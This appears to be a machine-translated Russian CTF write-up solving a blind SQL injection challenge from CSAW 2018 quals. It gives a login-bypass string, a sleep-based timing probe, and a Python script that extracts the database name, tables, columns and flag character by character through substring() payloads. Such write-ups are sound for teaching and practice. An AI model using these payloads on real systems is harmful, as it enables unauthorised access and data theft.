Достаточно взглянуть на BLINDasabat и текст вопроса, чтобы понять, что эта задача основана на слепом внедрении SQL.

При переходе по указанной ссылке мы представляем форму входа в систему.

Так, как продолжить, мы должны выяснить ответ правильных запросов против что неправильных запросов. Просто попробовав admin в качестве имени пользователя и ' or ''=' в качестве пароля, мы перенаправляемся на новую страницу, где говорится, что мы вошли в систему.

Таким образом, мы обнаружили, как правильный запрос будет реагировать. Теперь, когда вводятся случайные учетные данные (в надежде, что они на самом деле неправильные), на сайте говорится: Incorrect username or password

Теперь, когда у нас есть как действительные, так и недействительные ответы, на всякий случай я попробовал логический запрос на основе времени: -1' or sleep(5) --. Это сработало! Веб-страница загружается только после того, как около 5 секунд. Теперь я в написании сценариев!

Сначала я должен был настроить запрос сеанса (установить все куки в нормальной сессии).

import requests
import string
letters = string.ascii_lowercase + string.ascii_uppercase + "1234567890{}_?,"
URL = "http://web.chal.csaw.io:10101/auth/login"
cookie = {
 "CSAW-CTF-2018-QUALS-SSO":"xxxxxxxx",
 "CSAW-CTF-2018-QUALS-SSO.sig":"xxxx"
}
counter = 0          # Keeps a track of the letters tried.
letter_counter = 1   # Keeps a track of which index is being leaked
final = ""           # Holds the final string retrieved

Я определил все возможные буквы, которые могут быть, возможно, там, в полях, которые я собирался просочиться.

Теперь, я определил два вложенных while True петли (бесконечные циклы). Первый из которых, когда одна буквы поля была найдена. Внутренний повторяет все возможные буквы, которые я определил выше.

Для проверки я использовал Whoa в качестве валидатора правильного ответа (поскольку это была строка на странице, на которую мы были перенаправлены при успешной попытке входа в систему) и Incorrect в качестве валидатора неверного ответа.

while True:
 while True:
  if counter > len(letters):
   break
  current = letters[counter]
  data = {
   "username": "-1' or substring(database()," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }
  req = requests.post(URL, cookies=cookie, data=data)
  if "Incorrect" in req.text:
   counter += 1
  elif "Whoa" in req.text:
   final += current
   letter_counter += 1
   counter = 0
   break
 print(final)

Я мог бы использовать многопоточность, чтобы ускорить процесс, но да, как вы уже догадались, мне было лень. С чашкой кофе в руке и netflix на экране ожидание не было проблемой!

Хороший! мы получили название DB!

Теперь я обновил запрос на отправку поля, чтобы получить все таблицы в БД look_here

Таким образом, полезная нагрузка выглядела так:

data = {
   "username": "-1' or substring((select group_concat(table_name) from information_schema.tables where table_schema=\"look_here\")," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }

Чтобы немного разбить запрос, я использовал функцию подстроки (которая возвращает часть указанной строки), где строка является ответом на запрос SQL, который возвращает таблицы в базе данных look_here. Я перебираю каждый из строковых индексов, чтобы узнать, какая буква дает правильный ответ (Woah).

Опять же, по прошествии значительного количества времени, я получил таблицы внутри БД.

Таблица look_in_here должна указывать в правильном направлении, поэтому я перечислил эту таблицу дальше, изменив полезную нагрузку для извлечения столбцов в этой таблице.

Обновленная полезная нагрузка выглядела так:

data = {
   "username": "-1' or substring((select group_concat(column_name) from information_schema.columns where table_name=\"look_in_here\")," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }

Практически то же самое, что и запрос, используемый для извлечения имен таблиц. Вот что у меня получилось:

Теперь, когда у меня тоже есть столбец, мне просто нужно было извлечь значения из таблицы look_in_here в столбце flag.

Обновленная полезная нагрузка:

data = {
   "username": "-1' or substring((select binary group_concat(flag) from look_in_here)," + str(letter_counter) + ",1)=\"" + current + "\" -- ",
   "password": "lol",
  }

Здесь я тратил впустую большую часть своего времени. На запуске сценария в первый раз, я получил флаг. Но его не приняли. Я не мог понять, что случилось. Примерно через 30 минут меня осенило, что я не использовал binary в своих запросах. Таким образом, даже если буква в флаге была прописной, она вернет истину, даже если будет отправлена ​​строчная буква (и наоборот). После добавления binary на запрос, я был представлен с флагом: flag{nOW_W45N7_7h47_547I5fyiN9?}!